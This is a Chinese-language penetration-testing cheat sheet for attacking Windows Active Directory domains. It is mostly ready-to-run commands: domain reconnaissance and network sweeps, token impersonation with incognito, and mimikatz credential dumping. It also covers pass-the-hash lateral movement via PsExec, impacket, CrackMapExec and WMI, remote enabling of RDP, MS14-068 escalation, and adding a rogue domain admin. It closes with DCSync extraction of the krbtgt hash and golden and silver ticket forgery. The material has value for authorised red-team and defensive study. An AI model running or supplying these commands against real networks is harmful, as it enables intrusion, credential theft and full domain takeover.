通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。
工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。
用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
是指用于实现域名和与之相对应的 IP 地址转换的服务器。
而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。
在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
**NTDS.dit:**域用户帐户以域数据库的形式保存在活动目录中
Ntdsutil.exe-ntdsutil.exe: 是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息
帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。
增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。
活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
net time #查询域中的时间,会请求域控
net config workstation #查看当前工作环境
nltest /dclist:域后缀 #查询域控
ping darkid.hack.com
nslookup darkid.hack.com
arp -a 查询通信
nbtscan 发现主机
bat命令发现主机
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="
通过powershell脚本扫描
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
#针对单个 IP 的多个端口的扫描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}
2>$null
#针对某 IP 段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
#针对某 IP 段 & 多个端口的扫描器
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
使用MSF进行扫描
#使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。
#主机存活探测:
auxiliary/scanner/discovery/arp_sweep ARP 扫描
auxiliary/scanner/discovery/udp_sweep UDP 扫描
auxiliary/scanner/netbios/nbname NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum SNMP 扫描
auxiliary/scanner/smb/smb_version SMB 扫描
#端口扫描:
auxiliary/scanner/portscan/ack TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
auxiliary/scanner/portscan/syn SYN 端口扫描
auxiliary/scanner/portscan/tcp TCP 端口扫描
auxiliary/scanner/portscan/xmas TCP XMas 端口扫描
概述:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。
AccessToken 的窃取与利用需要 administrator 管理员权限。
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
命令:
#AccessToken 的列举
incognito.exe list_tokens -u
#操作
incognito.exe execute -c "完整的 Token 名" cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
use incognito #加载 incognito
list_tokens -u #列出 AccessToken
getuid #查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
ps #列出进程pid
steal_token 1252 #从进程窃取 token
getsystem #提升至 system 权限
rev2self #返回到之前的 AccessToken 权限
概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
仍可以进行 Pass The Hash 远程 ipc 连接。
privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。
#命令
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd
PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
#参数
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显
-u 域\用户名
-p 密码
#命令
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./[email protected]
出现错误的情况可以使用impacket工具包下的psexec连接
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./[email protected]
需要远程系统开启 admin$ 共享(默认是开启的)
因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
impacket 下的 psexec
python3 psexec.py darkid/[email protected]
执行命令后输入密码
登陆其他主机管理员
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
run
CrackMapExec 可以对 C 段中的主机进行批量 pth,
项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令
crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4
对 192.168.9.0/24 C 段进行批量 pass the hash
通过wmi执行ipconfig命令
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
建立ipc连接,读取内容
net use \\192.168.0.123\ipc$ "123456" /user:administrator
type \\192.168.0.123\c$\ip.txt
whoami
命令python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 [email protected] "whoami"
【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写
python3 wmiexec.py administrator:[email protected]
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。
在 Powershell 中运行以下命令
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = ".\administrator"
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User=".\administrator"
# 指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred
# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
#或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
wmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
不需要与 AS 进行交互,需要用户 krbtgt 的 Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。
上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID
使用 MS14-068 伪造票据
#执行命令:
ms14-068.exe -u [email protected] -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,会在当前目录下生成一个凭证。
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:
mimikatz # kerberos::purge //清空票据
mimikatz # kerberos::ptc 票据文件地址
net user moonsec123 Qwe123... /add /domain
net group "Domain Admins" moonsec123 /add /domain
1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv
或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txt
mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588af80160f5f6 /ticket:ticket.kirbi" exit
/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令!
mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test\ticket.kirbi
dir \\08server1.moonhack.com\c$
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。
#制作
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
#导入
kerberos::ptt [email protected][email protected]
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密